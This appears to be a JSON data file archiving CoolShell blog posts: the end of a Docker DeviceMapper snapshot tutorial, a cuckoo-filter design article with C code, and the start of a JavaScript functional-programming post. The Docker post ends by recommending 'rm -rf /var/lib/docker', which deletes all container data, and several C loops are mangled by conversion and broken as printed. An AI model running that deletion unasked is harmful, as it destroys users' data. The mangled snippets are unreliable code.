/mnt/base\n~hchen$ sudo echo \"hello world, I am a base\" > /mnt/base/id.txt\n~hchen$ sudo cat /mnt/base/id.txt\nhello world, I am a base\n```\n\n好了，接下来，我们来看看snapshot怎么搞：\n\n\n\n```\n~hchen$ sudo dmsetup message /dev/mapper/hchen-thin-pool 0 \"create_snap 1 0\"\n~hchen$ sudo dmsetup create mysnap1 \\\n                   --table \"0 2097152 thin /dev/mapper/hchen-thin-pool 1\"\n\n~hchen$ sudo ll /dev/mapper/mysnap1\nlrwxrwxrwx. 1 root root 7 Aug 25 23:49 /dev/mapper/mysnap1 -> ../dm-5\n```\n\n上面的命令中：\n\n\n* 第一条命令是向hchen-thin-pool发一个create\\_snap的消息，后面跟两个id，第一个是新的dev id，第二个是要从哪个已有的dev id上做snapshot（0这个dev id是我们前面就创建了了）\n\n\n* 第二条命令是创建一个mysnap1的device，并可以被mount。\n\n\n下面我们来看看：\n\n\n\n```\n~hchen$ sudo mkdir -p /mnt/mysnap1\n~hchen$ sudo mount /dev/mapper/mysnap1 /mnt/mysnap1\n\n~hchen$ sudo ll /mnt/mysnap1/\ntotal 20\n-rw-r--r--. 1 root root 25 Aug 25 23:46 id.txt\ndrwx------. 2 root root 16384 Aug 25 23:43 lost+found\n\n~hchen$ sudo cat /mnt/mysnap1/id.txt\nhello world, I am a base\n```\n\n我们来修改一下/mnt/mysnap1/id.txt，并加上一个snap1.txt的文件：\n\n\n\n```\n~hchen$ sudo echo \"I am snap1\" >> /mnt/mysnap1/id.txt\n~hchen$ sudo echo \"I am snap1\" > /mnt/mysnap1/snap1.txt\n\n~hchen$ sudo cat /mnt/mysnap1/id.txt\nhello world, I am a base\nI am snap1\n\n~hchen$ sudo cat /mnt/mysnap1/snap1.txt\nI am snap1\n```\n\n我们再看一下/mnt/base，你会发现没有什么变化：\n\n\n\n```\n~hchen$ sudo ls /mnt/base\nid.txt      lost+found\n~hchen$ sudo cat /mnt/base/id.txt\nhello world, I am a base\n```\n\n你是不是已经看到了分层镜像的样子了？\n\n\n你还要吧继续在刚才的snapshot上再建一个snapshot\n\n\n\n```\n~hchen$ sudo dmsetup message /dev/mapper/hchen-thin-pool 0 \"create_snap 2 1\"\n~hchen$ sudo dmsetup create mysnap2 \\\n                   --table \"0 2097152 thin /dev/mapper/hchen-thin-pool 2\"\n\n~hchen$ sudo ll /dev/mapper/mysnap2\nlrwxrwxrwx. 1 root root 7 Aug 25 23:52 /dev/mapper/mysnap1 -> ../dm-7\n\n~hchen$ sudo mkdir -p /mnt/mysnap2\n~hchen$ sudo mount /dev/mapper/mysnap2 /mnt/mysnap2\n~hchen$ sudo  ls /mnt/mysnap2\nid.txt  lost+found  snap1.txt \n```\n\n好了，我相信你看到了分层镜像的样子了。\n\n\n看完演示，我们再来补点理论知识吧：\n\n\n* Snapshot来自LVM（Logic Volumn Manager），它可以在不中断服务的情况下为某个device打一个快照。\n* Snapshot是Copy-On-Write的，也就是说，只有发生了修改，才会对对应的内存进行拷贝。\n\n\n另外，这里有篇文章[Storage thin provisioning benefits and challenges](http://searchstorage.techtarget.com/tip/Storage-thin-provisioning-benefits-and-challenges)可以前往一读。\n\n\n#### Docker的DeviceMapper\n\n\n上面基本上就是Docker的玩法了，我们可以看一下docker的loopback设备：\n\n\n\n```\n~hchen $ sudo losetup -a\n/dev/loop0: [64768]:38050288 (/var/lib/docker/devicemapper/devicemapper/data)\n/dev/loop1: [64768]:38050289 (/var/lib/docker/devicemapper/devicemapper/metadata)\n```\n\n其中data 100GB，metadata 2.0GB\n\n\n\n```\n~hchen $ sudo ls -alhs /var/lib/docker/devicemapper/devicemapper\n506M -rw-------. 1 root root 100G Sep 10 20:15 data\n1.1M -rw-------. 1 root root 2.0G Sep 10 20:15 metadata \n```\n\n下面是相关的thin-pool。其中，有个当一大串hash串的device是正在启动的容器：\n\n\n\n```\n~hchen $ sudo ll /dev/mapper/dock*\nlrwxrwxrwx. 1 root root 7 Aug 25 07:57 /dev/mapper/docker-253:0-104108535-pool -> ../dm-2\nlrwxrwxrwx. 1 root root 7 Aug 25 11:13 /dev/mapper/docker-253:0-104108535-deefcd630a60aa5ad3e69249f58a68e717324be4258296653406ff062f605edf -> ../dm-3\n```\n\n我们可以看一下它的device id（Docker都把它们记下来了）：\n\n\n\n```\n~hchen $ sudo cat /var/lib/docker/devicemapper/metadata/deefcd630a60aa5ad3e69249f58a68e717324be4258296653406ff062f605edf\n{\"device_id\":24,\"size\":10737418240,\"transaction_id\":26,\"initialized\":false}\n```\n\ndevice\\_id是24，size是10737418240，除以512，就是20971520 个 sector，我们用这些信息来做个snapshot看看（注：我用了一个比较大的dev id – 1024）：\n\n\n\n```\n~hchen$ sudo dmsetup message \"/dev/mapper/docker-253:0-104108535-pool\" 0 \\\n                                    \"create_snap 1024 24\"\n~hchen$ sudo dmsetup create dockersnap --table \\\n                    \"0 20971520 thin /dev/mapper/docker-253:0-104108535-pool 1024\"\n~hchen$ sudo mkdir /mnt/docker\n~hchen$ sudo mount /dev/mapper/dockersnap /mnt/docker/\n~hchen$ sudo ls /mnt/docker/\nid lost+found rootfs\n~hchen$ sudo ls /mnt/docker/rootfs/\nbin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var\n```\n\n我们在docker的容器里用findmnt命令也可以看到相关的mount的情况（因为太长，下面只是摘要）：\n\n\n\n```\n# findmnt\nTARGET                SOURCE               \n/                 /dev/mapper/docker-253:0-104108535-deefcd630a60[/rootfs]\n/etc/resolv.conf  /dev/mapper/centos-root[/var/lib/docker/containers/deefcd630a60/resolv.conf]\n/etc/hostname     /dev/mapper/centos-root[/var/lib/docker/containers/deefcd630a60/hostname]\n/etc/hosts        /dev/mapper/centos-root[/var/lib/docker/containers/deefcd630a60/hosts]\n```\n\n#### Device Mapper 行不行？\n\n\nThin Provisioning的文档中说，这还处理实验阶段，不要上Production.\n\n\n\n> These targets are very much still in the EXPERIMENTAL state. Please do not yet rely on them in production.\n> \n> \n\n\n另外，Jeff Atwood在Twitter上发过这样的一推\n\n\n[![Jeff.Atwood.DeviceMapper](../wp-content/uploads/2015/08/Jeff.Atwood.DeviceMapper.png)](https://twitter.com/codinghorror/status/604096348682485760)\n\n\n这个推指向的[这个讨论](https://forums.docker.com/t/rmi-not-freeing-disk-space-in-devicemapper-sparse-file-centos-6-6/1640/3)中，其中指向了这个[code diff](https://github.com/discourse/discourse_docker/commit/48f22d14f39496c8df446cbc65ee04b258c5a1a0)，基本上就是说，DeviceMapper这种东西问题太多了，我们应该把其加入黑名单。Doker的Founder也这样回复到：\n\n\n[![](../wp-content/uploads/2015/08/Solomon.Hykeys.DeviceMapper.png)](https://twitter.com/solomonstre/status/604055267303636992)\n\n\n所以，如果你在使用loopback的devicemapper的话，当你的存储出现了问题后，正确的解决方案是：\n\n\nrm -rf /var/lib/docker\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![Docker基础技术：AUFS](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png)](https://coolshell.cn/articles/17061.html)[Docker基础技术：AUFS](https://coolshell.cn/articles/17061.html)\n* [![Docker基础技术：Linux CGroup](../wp-content/uploads/2015/04/filter-150x150.png)](https://coolshell.cn/articles/17049.html)[Docker基础技术：Linux CGroup](https://coolshell.cn/articles/17049.html)\n* [![Docker基础技术：Linux Namespace（上）](../wp-content/uploads/2015/04/isolation-150x150.jpg)](https://coolshell.cn/articles/17010.html)[Docker基础技术：Linux Namespace（上）](https://coolshell.cn/articles/17010.html)\n* [![Docker基础技术：Linux Namespace（下）](../wp-content/uploads/2015/04/jail_cell-150x150.jpg)](https://coolshell.cn/articles/17029.html)[Docker基础技术：Linux Namespace（下）](https://coolshell.cn/articles/17029.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\nThe post [Docker基础技术：DeviceMapper](https://coolshell.cn/articles/17200.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2015-9-2 Cuckoo Filter：设计与实现.md",
    "content": "---\nlayout: post\ntitle: Cuckoo Filter：设计与实现\ndate: 2015/9/2/ 1:18:54\nupdated: 2015/9/2/ 1:18:54\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友**[**@我的上铺叫路遥**](http://weibo.com/fullofbull)**投稿）**\n\n\n![](../wp-content/uploads/2015/08/cuckoo-300x164.jpg)\n\n\n对于海量数据处理业务，我们通常需要一个索引数据结构，用来帮助查询，快速判断数据记录是否存在，这种数据结构通常又叫过滤器(filter)。考虑这样一个场景，上网的时候需要在浏览器上输入URL，这时浏览器需要去判断这是否一个恶意的网站，它将对本地缓存的成千上万的URL索引进行过滤，如果不存在，就放行，如果（可能）存在，则向远程服务端发起验证请求，并回馈客户端给出警告。\n\n\n索引的存储又分为有序和无序，前者使用关联式容器，比如B树，后者使用哈希算法。这两类算法各有优劣：比如，关联式容器时间复杂度稳定O(logN)，且支持范围查询；又比如哈希算法的查询、增删都比较快O(1)，但这是在理想状态下的情形，遇到碰撞严重的情况，哈希算法的时间复杂度会退化到O(n)。因此，选择一个好的哈希算法是很重要的。\n\n\n时下一个非常流行的哈希索引结构就是**[bloom filter](https://en.wikipedia.org/wiki/Bloom_filter)**，它类似于bitmap这样的hashset，所以空间利用率很高。其独特的地方在于它使用多个哈希函数来避免哈希碰撞，如图所示（[来源wikipedia](https://en.wikipedia.org/wiki/Bloom_filter)），bit数组初始化为全0，插入x时，x被3个哈希函数分别映射到3个不同的bit位上并置1，查询x时，只有被这3个函数映射到的bit位全部是1才能说明x可能存在，但凡至少出现一个0表示x肯定不存在。\n\n\n![Bloom_filter](../wp-content/uploads/2015/08/Bloom_filter.png)\n\n\n\n但是，bloom filter的这种位图模式带来两个问题：一个是**误报（false positives）**，在查询时能提供“一定不存在”，但只能提供“可能存在”，因为存在其它元素被映射到部分相同bit位上，导致该位置1，那么一个不存在的元素可能会被误报成存在；另一个是**漏报（false nagatives）**，同样道理，如果删除了某个元素，导致该映射bit位被置0，那么本来存在的元素会被漏报成不存在。由于后者问题严重得多，所以bloom filter必须确保“definitely no”从而容忍“probably yes”，不允许元素的删除。\n\n\n关于元素删除的问题，一个改良方案是对bloom filter引入计数，但这样一来，原来每个bit空间就要扩张成一个计数值，空间效率上又降低了。\n\n\n#### Cuckoo Hashing\n\n\n为了解决这一问题，本文引入了一种新的哈希算法——**cuckoo filter**，它既可以确保该元素存在的必然性，又可以在不违背此前提下删除任意元素，仅仅比bitmap牺牲了微量空间效率。先说明一下，这个算法的思想来源是一篇[CMU论文](http://www.cs.cmu.edu/~binfan/papers/conext14_cuckoofilter.pdf)，笔者按照其思路用C语言做了一个简单实现（[Github](https://github.com/begeekmyfriend/CuckooFilter)），附上对一段文本数据进行导入导出的正确性测试。\n\n\n接下来我会结合自己的示例代码讲解哈希算法的实现。我们先来看看cuckoo hashing有什么特点，它的哈希函数是成对的（具体的实现可以根据需求设计），每一个元素都是两个，分别映射到两个位置，一个是记录的位置，另一个是备用位置。这个备用位置是处理碰撞时用的，这就要说到cuckoo这个名词的典故了，中文名叫布谷鸟，这种鸟有一种即狡猾又贪婪的习性，它不肯自己筑巢，而是把蛋下到别的鸟巢里，而且它的幼鸟又会比别的鸟早出生，布谷幼鸟天生有一种残忍的动作，幼鸟会拼命把未出生的其它鸟蛋挤出窝巢，今后以便独享“养父母”的食物。借助生物学上这一典故，cuckoo hashing处理碰撞的方法，就是把原来占用位置的这个元素踢走，不过被踢出去的元素还要比鸟蛋幸运，因为它还有一个备用位置可以安置，如果备用位置上还有人，再把它踢走，如此往复。直到被踢的次数达到一个上限，才确认哈希表已满，并执行rehash操作。如下图所示（[图片来源](http://codecapsule.com/2013/07/20/cuckoo-hashing/)）：\n\n\n[![cuckoo_preview](../wp-content/uploads/2015/08/cuckoo_preview.jpg)](http://codecapsule.com/2013/07/20/cuckoo-hashing/)\n\n\n \n\n\n我们不禁要问发生哈希碰撞之前的空间利用率是多少呢？不幸地告诉你，一维数组的哈希表上跟其它哈希函数没什么区别，也就50%而已。但如果是二维的呢？\n\n\n一个改进的哈希表如下图所示，每个桶（bucket）有4路槽位（slot）。当哈希函数映射到同一个bucket中，在其它三路slot未被填满之前，是不会有元素被踢的，这大大缓冲了碰撞的几率。笔者自己的简单实现上测过，采用二维哈希表（4路slot）大约80%的占用率（CMU论文数据据说达到90%以上，应该是扩大了slot关联数目所致）。\n\n\n![cuckoo hashing](../wp-content/uploads/2015/08/cuckoo-hashing-1024x392.png)\n\n\n#### Cuckoo Filter设计与实现\n\n\ncuckoo hashing的原理介绍完了，下面就来演示一下笔者自己实现的一个cuckoo filter应用，简单易用为主，不到500行C代码。应用场景是这样的：假设有一段文本数据，我们把它通过cuckoo filter导入到一个虚拟的flash中，再把它导出到另一个文本文件中。flash存储的单元页面是一个log\\_entry，里面包含了一对key/value，value就是文本数据，key就是这段大小的数据的SHA1值（照理说SHA1是可以通过数据源生成，没必要存储到flash，但这里主要为了测试而故意设计的，万一key和value之间没有推导关系呢）。\n\n\n\n```\n\n#define SECTOR_SIZE    (1 << 10)\n#define DAT_LEN        (SECTOR_SIZE - 20)  /* minus sha1 size */\n\n/* The log entries store key-value pairs on flash and the\n * size of each entry is assumed just one sector fit.\n */\nstruct log_entry {\n        uint8_t sha1[20];\n        uint8_t data[DAT_LEN];\n};\n\n```\n\n顺便说明一下DAT\\_LEN设置，之前我们设计了一个虚拟flash（用malloc模拟出来），由于flash的单位是按页大小SECTOR\\_SIZE读写，这里假设每个log\\_entry正好一个页大小，当然可以根据实际情况调整。\n\n\n以上是flash的存储结构，至于哈希表里的slot有三个成员tag，status和offset，分别是哈希值，状态值和在flash的偏移位置。其中status有三个枚举值：AVAILIBLE，OCCUPIED，DELETED，分别表示这个slot是空闲的，占用的还是被删除的。至于tag，按理说应该有两个哈希值，对应两个哈希函数，但其中一个已经对应bucket的位置上了，所以我们只要保存另一个备用bucket的位置就行了，这样万一被踢，只要用这个tag就可以找到它的另一个安身之所。\n\n\n\n```\n\nenum { AVAILIBLE, OCCUPIED, DELETED, };\n\n/* The in-memory hash bucket cache is to filter keys (which is assumed SHA1) via\n * cuckoo hashing function and map keys to log entries stored on flash.\n */\nstruct hash_slot_cache {\n        uint32_t tag : 30;  /* summary of key */\n        uint32_t status : 2;  /* FSM */\n        uint32_t offset;  /* offset on flash memory */\n};\n\n```\n\n乍看之下size有点大是吗？没关系，你也可以根据情况调整数据类型大小，比如uint16\\_t，这里仅仅为了测试正确性。\n\n\n至于哈希表以及bucket和slot的创建见初始化代码。buckets是一个二级指针，每个bucket指向4个slot大小的缓存，即4路slot，那么bucket\\_num也就是slot\\_num的1/4。这里我们故意把slot\\_num调小了点，为的是测试rehash的发生。\n\n\n\n```\n\n#define ASSOC_WAY  (4)  /* 4-way association */\n\nstruct hash_table {\n    struct hash_slot_cache **buckets;\n    struct hash_slot_cache *slots;\n    uint32_t slot_num;\n    uint32_t bucket_num;\n};\n\nint cuckoo_filter_init(size_t size)\n{\n    ...\n    /* Allocate hash slots */\n    hash_table.slot_num = nvrom_size / SECTOR_SIZE;\n    /* Make rehashing happen */\n    hash_table.slot_num /= 4;\n    hash_table.slots = calloc(hash_table.slot_num, sizeof(struct hash_slot_cache));\n    if (hash_table.slots == NULL) {\n        return -1;\n    }\n\n    /* Allocate hash buckets associated with slots */\n    hash_table.bucket_num = hash_table.slot_num / ASSOC_WAY;\n    hash_table.buckets = malloc(hash_table.bucket_num * sizeof(struct hash_slot_cache *));\n    if (hash_table.buckets == NULL) {\n        free(hash_table.slots);\n        return -1;\n    }\n    for (i = 0; i < hash_table.bucket_num; i++) {\n        hash_table.buckets[i] = &hash_table.slots[i * ASSOC_WAY];\n    }\n}\n\n```\n\n下面是哈希函数的设计，这里有两个，前面提到既然key是20字节的SHA1值，我们就可以分别是对key的低32位和高32位进行位运算，只要bucket\\_num满足2的幂次方，我们就可以将key的一部分同bucket\\_num – 1相与，就可以定位到相应的bucket位置上，注意bucket\\_num随着rehash而增大，哈希函数简单的好处是求哈希值十分快。\n\n\n\n```\n\n#define cuckoo_hash_lsb(key, count)  (((size_t *)(key))[0] & (count - 1))\n#define cuckoo_hash_msb(key, count)  (((size_t *)(key))[1] & (count - 1))\n\n```\n\n终于要讲解cuckoo filter最重要的三个操作了——查询、插入还有删除。查询操作是简单的，我们对传进来的参数key进行两次哈希求值tag[0]和tag[1]，并先用tag[0]定位到bucket的位置，从4路slot中再去对比tag[1]。只有比中了tag后，由于只是key的一部分，我们再去从flash中验证完整的key，并把数据在flash中的偏移值read\\_addr输出返回。相应的，如果bucket[tag[0]]的4路slot都没有比中，我们再去bucket[tag[1]]中比对（代码略），如果还比不中，可以肯定这个key不存在。**这种设计的好处就是减少了不必要的flash读操作，每次比对的是内存中的tag而不需要完整的key。**\n\n\n\n```\nstatic int cuckoo_hash_get(struct hash_table *table, uint8_t *key, uint8_t **read_addr)\n{\n    int i, j;\n    uint8_t *addr;\n    uint32_t tag[2], offset;\n    struct hash_slot_cache *slot;\n\n    tag[0] = cuckoo_hash_lsb(key, table->bucket_num);\n    tag[1] = cuckoo_hash_msb(key, table->bucket_num);\n\n    /* Filter the key and verify if it exists. */\n    slot = table-&gt;buckets[tag[0]];\n    for (i = 0; i bucket_num) == slot[i].tag) {\n        if (slot[i].status == OCCUPIED) {\n            offset = slot[i].offset;\n            addr = key_verify(key, offset);\n            if (addr != NULL) {\n                if (read_addr != NULL) {\n                    *read_addr = addr;\n                }\n                break;\n            }\n        } else if (slot[i].status == DELETED) {\n            return DELETED;\n        }\n    }\n    ...\n}\n```\n\n接下来先将简单的删除操作，之所以简单是因为delete除了将相应slot的状态值设置一下之外，其实什么都没有干，也就是说它不会真正到flash里面去把数据清除掉。为什么？很简单，没有必要。还有一个原因，flash的写操作之前需要擦除整个页面，这种擦除是会折寿的，**所以很多flash支持随机读，但必须保持顺序写。**\n\n\n\n```\nstatic void cuckoo_hash_delete(struct hash_table *table, uint8_t *key)\n{\n    uint32_t i, j, tag[2];\n    struct hash_slot_cache *slot;\n\n    tag[0] = cuckoo_hash_lsb(key, table->bucket_num);\n    tag[1] = cuckoo_hash_msb(key, table->bucket_num);\n\n    slot = table->buckets[tag[0]];\n    for (i = 0; i bucket_num) == slot[i].tag) {\n        slot[i].status = DELETED;\n        return;\n    }\n    ...\n}\n```\n\n了解了flash的读写特性，你就知道为啥插入操作在flash层面要设计成append。不过我们这里不讨论过多flash细节，哈希表层面的插入逻辑其实跟查询差不多，我就不贴代码了。这里要贴的是如何判断并处理碰撞，其实这里也没啥玄机，就是用old\\_tag和old\\_offset保存一下临时变量，以便一个元素被踢出去之后还能找到备用的安身之所。但这里会有一个判断，每次踢人都会计数，当alt\\_cnt大于512时候表示哈希表真的快满了，这时候需要rehash了。\n\n\n\n```\nstatic int cuckoo_hash_collide(struct hash_table *table, uint32_t *tag, uint32_t *p_offset)\n{\n    int i, j, k, alt_cnt;\n    uint32_t old_tag[2], offset, old_offset;\n    struct hash_slot_cache *slot;\n\n    /* Kick out the old bucket and move it to the alternative bucket. */\n    offset = *p_offset;\n    slot = table->buckets[tag[0]];\n    old_tag[0] = tag[0];\n    old_tag[1] = slot[0].tag;\n    old_offset = slot[0].offset;\n    slot[0].tag = tag[1];\n    slot[0].offset = offset;\n    i = 0 ^ 1;\n    k = 0;\n    alt_cnt = 0;\n\nKICK_OUT:\n    slot = table->buckets[old_tag[i]];\n    for (j = 0; j < ASSOC_WAY; j++) {\n        if (offset == INVALID_OFFSET && slot[j].status == DELETED) {\n            slot[j].status = OCCUPIED;\n            slot[j].tag = old_tag[i ^ 1];\n            *p_offset = offset = slot[j].offset;\n            break;\n        } else if (slot[j].status == AVAILIBLE) {\n            slot[j].status = OCCUPIED;\n            slot[j].tag = old_tag[i ^ 1];\n            slot[j].offset = old_offset;\n            break;\n        }\n    }\n\n    if (j == ASSOC_WAY) {\n        if (++alt_cnt > 512) {\n            if (k == ASSOC_WAY - 1) {\n                /* Hash table is almost full and needs to be resized */\n                return 1;\n            } else {\n                k++;\n            }\n        }\n        uint32_t tmp_tag = slot[k].tag;\n        uint32_t tmp_offset = slot[k].offset;\n        slot[k].tag = old_tag[i ^ 1];\n        slot[k].offset = old_offset;\n        old_tag[i ^ 1] = tmp_tag;\n        old_offset = tmp_offset;\n        i ^= 1;\n        goto KICK_OUT;\n    }\n\n    return 0;\n}\n```\n\nrehash的逻辑也很简单，无非就是把哈希表中的buckets和slots重新realloc一下，空间扩展一倍，然后再从flash中的key重新插入到新的哈希表里去。这里有个陷阱要注意，**千万不能有相同的key混进来！**虽然cuckoo hashing不像开链法那样会退化成O(n)，但由于每个元素有两个哈希值，而且每次计算的哈希值随着哈希表rehash的规模而不同，相同的key并不能立即检测到冲突，但当相同的key达到一定规模后，噩梦就开始了，由于rehash里面有插入操作，一旦在这里触发碰撞，又会触发rehash，这时就是一个rehash不断递归的过程，由于其中老的内存没释放，新的内存不断重新分配，整个程序就如同陷入DoS攻击一般瘫痪了。**所以每次插入操作前一定要判断一下key是否已经存在过，并且对rehash里的插入使用碰撞断言防止此类情况发生。**笔者在测试中不幸中了这样的彩蛋，调试了大半天才搞清楚原因，搞IT的同学们记住一定要防小人啊~\n\n\n\n```\nstatic void cuckoo_rehash(struct hash_table *table)\n{\n    ...\n    uint8_t *read_addr = nvrom_base_addr;\n    uint32_t entries = log_entries;\n    while (entries--) {\n        uint8_t key[20];\n        uint32_t offset = read_addr - nvrom_base_addr;\n        for (i = 0; i &lt; 20; i++) {\n            key[i] = flash_read(read_addr);\n            read_addr++;\n        }\n        /* Duplicated keys in hash table which can cause eternal\n         * hashing collision! Be careful of that!\n         */\n        assert(!cuckoo_hash_put(table, key, &offset));\n        if (cuckoo_hash_get(&old_table, key, NULL) == DELETED) {\n            cuckoo_hash_delete(table, key);\n        }\n        read_addr += DAT_LEN;\n    }\n    ...\n}\n```\n\n到此为止代码的逻辑还是比较简单，使用效果如何呢？我来帮你找个大文件[unqlite.c](https://github.com/unqlite/unqlite/blob/master/unqlite.c)测试一下，这是一个嵌入式数据库源代码，共59959行代码。作为需要导入的文件，编译我们的cuckoo filter，然后执行：\n\n\n`./cuckoo_db unqlite.c output.c`\n\n\n你会发现生成output.c正好也是59959行代码，一分不差，probably yes终于变成了definitely yes。同时也可以看到，cuckoo filter真的很快！如果你想看hashing的整个过程，可以参照[README](https://github.com/begeekmyfriend/CuckooFilter/blob/master/README.md)里把调试宏打开。最后，欢迎给[这个小玩意](https://github.com/begeekmyfriend/CuckooFilter)提交PR！\n\n\n#### 参考资料\n\n\nCuckoo Filter的[论文](http://www.cs.cmu.edu/~binfan/papers/conext14_cuckoofilter.pdf)和[PPT](http://www.cs.cmu.edu/~binfan/papers/conext14_cuckoofilter.pptx)：Cuckoo Filter: Practically Better Than Bloom\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![二维码的生成细节和原理](../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg)](https://coolshell.cn/articles/10590.html)[二维码的生成细节和原理](https://coolshell.cn/articles/10590.html)\n* [![伙伴分配器的一个极简实现](../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg)](https://coolshell.cn/articles/10427.html)[伙伴分配器的一个极简实现](https://coolshell.cn/articles/10427.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/9886.html)[二叉树迭代器算法](https://coolshell.cn/articles/9886.html)\nThe post [Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2016-10-23 如何读懂并写出装逼的函数式代码.md",
    "content": "---\nlayout: post\ntitle: 如何读懂并写出装逼的函数式代码\ndate: 2016/10/23/ 9:56:29\nupdated: 2016/10/23/ 9:56:29\nstatus: publish\npublished: true\ntype: post\n---\n\n![drawing-recursive](../wp-content/uploads/2016/10/drawing-recursive-300x204.jpg)今天在微博上看到了 有人[分享了下面的这段函数式代码](http://weibo.com/1655747731/Ee4gU0qNn)，我把代码贴到下面，不过我对原来的代码略有改动，对于函数式的版本，咋一看，的确令人非常费解，仔细看一下，你可能就晕掉了，似乎完全就是天书，看上去非常装逼，哈哈。不过，我感觉解析那段函数式的代码可能会一个比较有趣过程，而且，我以前写过一篇《[函数式编程](https://coolshell.cn/articles/10822.html)》的入门式的文章，正好可以用这个例子，再升华一下原来的那篇文章，顺便可以向大家更好的介绍很多基础知识，所以写下这篇文章。\n\n\n#### 先看代码\n\n\n这个代码平淡无奇，就是从一个数组中找到一个数，O(n)的算法，找不到就返回 null。\n\n\n下面是正常的 old-school 的方式。不用多说。\n\n\n\n```\n//正常的版本\nfunction find (x, y) {\n  for ( let i = 0; i < x.length; i++ ) {\n    if ( x[i] == y ) return i;\n  }\n  return null;\n}\n\nlet arr = [0,1,2,3,4,5]\nconsole.log(find(arr, 2))\nconsole.log(find(arr, 8))\n```\n\n结果到了函数式成了下面这个样子（好像上面的那些代码在下面若影若现，不过又有点不太一样，为了消掉if语言，让其看上去更像一个表达式，动用了 ? 号表达式）：\n\n\n\n```\n//函数式的版本\nconst find = ( f => f(f) ) ( f =>\n  (next => (x, y, i = 0) =>\n    ( i >= x.length) ?  null :\n      ( x[i] == y ) ? i :\n        next(x, y, i+1))((...args) =>\n          (f(f))(...args)))\n\nlet arr = [0,1,2,3,4,5]\nconsole.log(find(arr, 2))\nconsole.log(find(arr, 8))\n```\n\n为了讲清这个代码，需要先补充一些知识。\n\n\n\n#### Javascript的箭头函数\n\n\n首先先简单说明一下，ECMAScript2015 引入的箭头表达式。箭头函数其实都是匿名函数，其基本语法如下：\n\n\n\n> \n> \n> ```\n> (param1, param2, …, paramN) => { statements } \n> (param1, param2, …, paramN) => expression\n>      // 等于 :  => { return expression; } \n> \n> // 只有一个参数时,括号才可以不加:\n> (singleParam) => { statements }\n> singleParam => { statements }\n> \n> //如果没有参数,就一定要加括号:\n> () => { statements }\n> ```\n> \n> \n\n\n下面是一些示例：\n\n\n\n```\nvar simple = a => a > 15 ? 15 : a; \nsimple(16); // 15\nsimple(10); // 10\n\nlet max = (a, b) => a > b ? a : b;\n\n// Easy array filtering, mapping, ...\n\nvar arr = [5, 6, 13, 0, 1, 18, 23];\nvar sum = arr.reduce((a, b) => a + b);  // 66\nvar even = arr.filter(v => v % 2 == 0); // [6, 0, 18]\nvar double = arr.map(v => v * 2);       // [10, 12, 26, 0, 2, 36, 46]\n```\n\n看上去不复杂吧。不过，上面前两个 simple 和 max 的例子都把这箭头函数赋值给了一个变量，于是它就有了一个名字。有时候，某些函数在声明的时候就是调用的时候，尤其是函数式编程中，一个函数还对外返回函数的时候。比如下在这个例子：\n\n\n\n```\nfunction MakePowerFn(power) {\n  return function PowerFn(base) {\n    return Math.pow(base, power);\n  } \n}\n\npower3 = MakePowerFn(3); //制造一个X的3次方的函数\npower2 = MakePowerFn(2); //制造一个X的2次方的函数\n\nconsole.log(power3(10)); //10的3次方 = 1000\nconsole.log(power2(10)); //10的2次方 = 100\n```\n\n其实，在 MakePowerFn 函数里的那个 PowerFn 根本不需要命名，完全可以写成：\n\n\n\n```\nfunction MakePowerFn(power) {\n  return function(base) {\n    return Math.pow(base, power);\n  } \n}\n```\n\n如果用箭头函数，可以写成：\n\n\n\n```\nMakePowerFn = power  => {\n  return base => {\n    return Math.pow(base, power);\n  } \n}\n```\n\n我们还可以写得更简洁（如果用表达式的话，就不需要 { 和 }， 以及 return 语句 ）：\n\n\n`MakePowerFn = power => base => Math.pow(base, power)`\n\n\n我还是加上括号，和换行可能会更清楚一些：\n\n\n\n```\nMakePowerFn = (power) => (\n  (base) => (Math.pow(base, power))\n)\n```\n\n好了，有了上面的知识，我们就可以进入一个更高级的话题——匿名函数的递归。\n\n\n#### 匿名函数的递归\n\n\n函数式编程立志于用函数表达式消除有状态的函数，以及for/while循环，所以，在函数式编程的世界里是不应该用for/while循环的，而要改用递归（递归的性能很差，所以，一般是用尾递归来做优化，也就是把函数的计算的状态当成参数一层一层的往下传递，这样语言的编译器或解释器就不需要用函数栈来帮你保存函数的内部变量的状态了）。\n\n\n好了，那么，匿名函数的递归该怎么做？\n\n\n一般来说，递归的代码就是函数自己调用自己，比如我们求阶乘的代码：\n\n\n\n```\n\nfunction fact(n){\n  return n==0 ? 1 :  n * fact(n-1);\n};\nresult = 